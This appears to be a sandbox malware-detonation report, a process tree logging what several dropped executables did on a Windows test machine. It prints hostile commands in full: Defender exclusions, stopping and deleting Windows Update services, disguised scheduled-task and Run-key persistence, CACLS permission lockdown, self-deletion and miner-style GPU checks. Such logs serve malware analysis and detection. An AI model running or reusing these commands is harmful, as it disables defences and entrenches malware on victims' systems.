  C:\Users\Admin\AppData\Local\Temp\16C2.exe
  2⤵
  - Executes dropped EXE
  PID:844
- - C:\Windows\SysWOW64\cmd.exe
    cmd /k cmd < Liz & exit
    3⤵
    PID:5268
  - - C:\Windows\SysWOW64\cmd.exe
      cmd
      4⤵
      PID:5676
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell get-process avastui
        5⤵
        
        PID:5160
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell get-process avgui
        5⤵
        Executes dropped EXE
        
        PID:5996
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell get-process nswscsvc
        5⤵
        
        PID:2180
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^Bell$" Structures
        5⤵
        
        PID:912
    - - C:\Users\Admin\AppData\Local\Temp\6214\32359\Navigate.pif
        
        32359\\Navigate.pif 32359\\M
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5864
      - C:\Users\Admin\AppData\Local\Temp\6214\32359\Navigate.pif
        
        C:\Users\Admin\AppData\Local\Temp\6214\32359\Navigate.pif
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2704
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\6214\32359\Navigate.pif" & exit
        7⤵
        
        PID:4968
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        8⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Program Files directory
        Delays execution with timeout.exe
        
        PID:6084
- C:\Users\Admin\AppData\Local\Temp\18F6.exe
  C:\Users\Admin\AppData\Local\Temp\18F6.exe
  2⤵
  - Executes dropped EXE
  PID:3836
- C:\Windows\system32\regsvr32.exe
  regsvr32 /s C:\Users\Admin\AppData\Local\Temp\1C14.dll
  2⤵
  PID:1080
- - C:\Windows\SysWOW64\regsvr32.exe
    /s C:\Users\Admin\AppData\Local\Temp\1C14.dll
    3⤵
    - Loads dropped DLL
    PID:2764
- C:\Windows\system32\regsvr32.exe
  regsvr32 /s C:\Users\Admin\AppData\Local\Temp\1F60.dll
  2⤵
  PID:620
- - C:\Windows\SysWOW64\regsvr32.exe
    /s C:\Users\Admin\AppData\Local\Temp\1F60.dll
    3⤵
    PID:3108
- C:\Users\Admin\AppData\Local\Temp\3357.exe
  C:\Users\Admin\AppData\Local\Temp\3357.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:5332
- - C:\Users\Admin\AppData\Local\Temp\3357.exe
    C:\Users\Admin\AppData\Local\Temp\3357.exe
    3⤵
    - Executes dropped EXE
    PID:620
  - - C:\Users\Admin\AppData\Local\Temp\3357.exe
      "C:\Users\Admin\AppData\Local\Temp\3357.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:6076
    - - C:\Users\Admin\AppData\Local\Temp\3357.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3357.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Executes dropped EXE
        
        PID:5324
      - C:\Users\Admin\AppData\Local\d55674a8-afe7-4bd4-abcf-1075cf574eaa\build2.exe
        
        "C:\Users\Admin\AppData\Local\d55674a8-afe7-4bd4-abcf-1075cf574eaa\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5380
        
        C:\Users\Admin\AppData\Local\d55674a8-afe7-4bd4-abcf-1075cf574eaa\build2.exe
        
        "C:\Users\Admin\AppData\Local\d55674a8-afe7-4bd4-abcf-1075cf574eaa\build2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5612
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5612 -s 648
        8⤵
        Program crash
        
        PID:2404
      - C:\Users\Admin\AppData\Local\d55674a8-afe7-4bd4-abcf-1075cf574eaa\build3.exe
        
        "C:\Users\Admin\AppData\Local\d55674a8-afe7-4bd4-abcf-1075cf574eaa\build3.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3108
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:5252
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        Executes dropped EXE
        
        PID:5584
- C:\Users\Admin\AppData\Local\Temp\3711.exe
  C:\Users\Admin\AppData\Local\Temp\3711.exe
  2⤵
  - Executes dropped EXE
  PID:5392
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5392 -s 1120
    3⤵
    - Program crash
    PID:5940
- C:\Users\Admin\AppData\Local\Temp\3B19.exe
  C:\Users\Admin\AppData\Local\Temp\3B19.exe
  2⤵
  - Executes dropped EXE
  PID:5472
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5472 -s 1064
    3⤵
    - Program crash
    PID:4952
- C:\Users\Admin\AppData\Local\Temp\48C6.exe
  C:\Users\Admin\AppData\Local\Temp\48C6.exe
  2⤵
  PID:5584
- - C:\Users\Admin\AppData\Local\Temp\aafg31.exe
    "C:\Users\Admin\AppData\Local\Temp\aafg31.exe"
    3⤵
    - Executes dropped EXE
    PID:5924
- - C:\Users\Admin\AppData\Local\Temp\oldplayer.exe
    "C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"
    3⤵
    PID:5996
  - - C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
      "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe"
      4⤵
      Executes dropped EXE
      PID:1004
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:3440
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "Admin:N"&&CACLS "oneetx.exe" /P "Admin:R" /E&&echo Y|CACLS "..\207aa4515d" /P "Admin:N"&&CACLS "..\207aa4515d" /P "Admin:R" /E&&Exit
        5⤵
        
        PID:5224
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:3508
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "oneetx.exe" /P "Admin:N"
        6⤵
        
        PID:5292
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "oneetx.exe" /P "Admin:R" /E
        6⤵
        
        PID:5536
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:3268
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\207aa4515d" /P "Admin:N"
        6⤵
        
        PID:1460
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\207aa4515d" /P "Admin:R" /E
        6⤵
        
        PID:5164
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Executes dropped EXE
    PID:6084
- C:\Users\Admin\AppData\Local\Temp\4C03.exe
  C:\Users\Admin\AppData\Local\Temp\4C03.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:5628
- - C:\Users\Admin\AppData\Local\Temp\4C03.exe
    C:\Users\Admin\AppData\Local\Temp\4C03.exe
    3⤵
    - Executes dropped EXE
    PID:5668
  - - C:\Users\Admin\AppData\Local\Temp\4C03.exe
      "C:\Users\Admin\AppData\Local\Temp\4C03.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:6036
    - - C:\Users\Admin\AppData\Local\Temp\4C03.exe
        
        "C:\Users\Admin\AppData\Local\Temp\4C03.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Executes dropped EXE
        
        PID:4084
      - C:\Users\Admin\AppData\Local\155e8136-b2c5-4a18-9dd2-ba0732355daa\build2.exe
        
        "C:\Users\Admin\AppData\Local\155e8136-b2c5-4a18-9dd2-ba0732355daa\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5384
        
        C:\Users\Admin\AppData\Local\155e8136-b2c5-4a18-9dd2-ba0732355daa\build2.exe
        
        "C:\Users\Admin\AppData\Local\155e8136-b2c5-4a18-9dd2-ba0732355daa\build2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1944
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1944 -s 1764
        8⤵
        Program crash
        
        PID:5344
      - C:\Users\Admin\AppData\Local\155e8136-b2c5-4a18-9dd2-ba0732355daa\build3.exe
        
        "C:\Users\Admin\AppData\Local\155e8136-b2c5-4a18-9dd2-ba0732355daa\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:5468
- C:\Users\Admin\AppData\Local\Temp\522E.exe
  C:\Users\Admin\AppData\Local\Temp\522E.exe
  2⤵
  PID:5836
- - C:\Users\Admin\AppData\Local\Temp\522E.exe
    C:\Users\Admin\AppData\Local\Temp\522E.exe
    3⤵
    - Executes dropped EXE
    PID:4972
  - - C:\Users\Admin\AppData\Local\Temp\522E.exe
      "C:\Users\Admin\AppData\Local\Temp\522E.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:5444
    - - C:\Users\Admin\AppData\Local\Temp\522E.exe
        
        "C:\Users\Admin\AppData\Local\Temp\522E.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Executes dropped EXE
        
        PID:5940
      - C:\Users\Admin\AppData\Local\009cc80e-0702-4b22-9484-2040ecb331e1\build2.exe
        
        "C:\Users\Admin\AppData\Local\009cc80e-0702-4b22-9484-2040ecb331e1\build2.exe"
        6⤵
        
        PID:5548
        
        C:\Users\Admin\AppData\Local\009cc80e-0702-4b22-9484-2040ecb331e1\build2.exe
        
        "C:\Users\Admin\AppData\Local\009cc80e-0702-4b22-9484-2040ecb331e1\build2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6104
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6104 -s 1740
        8⤵
        Program crash
        
        PID:5292
      - C:\Users\Admin\AppData\Local\009cc80e-0702-4b22-9484-2040ecb331e1\build3.exe
        
        "C:\Users\Admin\AppData\Local\009cc80e-0702-4b22-9484-2040ecb331e1\build3.exe"
        6⤵
        
        PID:2472
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:2672
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  PID:5448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:5144
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:3844
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4916
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2552
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2680
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3572
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:5912
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:5980
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2404
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:5920
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:5944
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:5984
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:3732
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:868
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:4472
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:4560
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:3816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  PID:5112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:6052
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:5836
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  PID:5200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:1072
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:5892
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:312
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1476
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3360
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:5824
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:3056
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4908
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2840
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:4852
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:1312
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:5148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:1016
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  PID:6012
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb3ce89758,0x7ffb3ce89768,0x7ffb3ce89778
    3⤵
    PID:1308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1732 --field-trial-handle=1796,i,8804476517160532267,12716875760041225357,131072 /prefetch:2
    3⤵
    PID:4276
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=1796,i,8804476517160532267,12716875760041225357,131072 /prefetch:8
    3⤵
    PID:3732
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2256 --field-trial-handle=1796,i,8804476517160532267,12716875760041225357,131072 /prefetch:8
    3⤵
    PID:1648
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2788 --field-trial-handle=1796,i,8804476517160532267,12716875760041225357,131072 /prefetch:1
    3⤵
    PID:3752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2796 --field-trial-handle=1796,i,8804476517160532267,12716875760041225357,131072 /prefetch:1
    3⤵
    PID:4060
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4576 --field-trial-handle=1796,i,8804476517160532267,12716875760041225357,131072 /prefetch:1
    3⤵
    PID:5292
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe zuhwtyqtfkk
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  PID:3276
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:5072
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    PID:5528
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2872
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    PID:5752
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe ozascextlcafxrlv 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYf8EOpU9uqIUcKKIP5glSGIF5NNBIQIOxiwAszeRmTD+ssM2JwNB+ZJXRJvy123U7UEXSTx71FLoxpDYVaIMhOE++Mr3hazCz1q4t4s5o8+wL0kdpUV5VnrG7JmlnWotU5n89qBghGm+y6SMYnw4GovlYYIKPio/EJCBO4ISkMSM9oXvdK2xwDd7nOPHNI0ub2+9+yDpmbkJhXPRjLmh8EzH9no+cA8XXsDqc7l4Il6Q8HZCkxxQKp3X7QrvGtORgpsiUFRUsjuuqKF8OZDBQ643uz5XTg02QKOJfFPdU0JLRX+q6NZJdak+3EYZdI36Zgtv5L8IJAttmNYCJqIJTseVMH04bRJ5WBnXqRYehi2MM0O1YRQDI8kKVhBta2xSurnVpcEWelFYwmZuF8Vd3YhHb8yAOoY//KgjosTtbU5Co=
  2⤵
  - Modifies data under HKEY_USERS
  PID:4424
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  - Executes dropped EXE
  PID:2472
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  PID:5180

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:4276

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5140

C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
1⤵
- Executes dropped EXE
PID:1496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5392 -ip 5392
1⤵
PID:3096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 5472 -ip 5472
1⤵
PID:3488

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:4544
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:3180
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:2308
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:2788
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:1560
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 364 -p 5612 -ip 5612
1⤵
PID:624

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1944 -ip 1944
1⤵
PID:2824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 6104 -ip 6104
1⤵
PID:5576

C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
1⤵
- Executes dropped EXE
PID:1668

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:5268
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Creates scheduled task(s)
  PID:5960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1888 -ip 1888
1⤵
PID:5316

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:2080

C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
"C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5548

C:\Users\Admin\AppData\Local\4b002df8-97e1-450d-ace7-cd5f2062b119\1066.exe
C:\Users\Admin\AppData\Local\4b002df8-97e1-450d-ace7-cd5f2062b119\1066.exe --Task
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1716
- C:\Users\Admin\AppData\Local\4b002df8-97e1-450d-ace7-cd5f2062b119\1066.exe
  C:\Users\Admin\AppData\Local\4b002df8-97e1-450d-ace7-cd5f2062b119\1066.exe --Task
  2⤵
  - Executes dropped EXE
  PID:4620

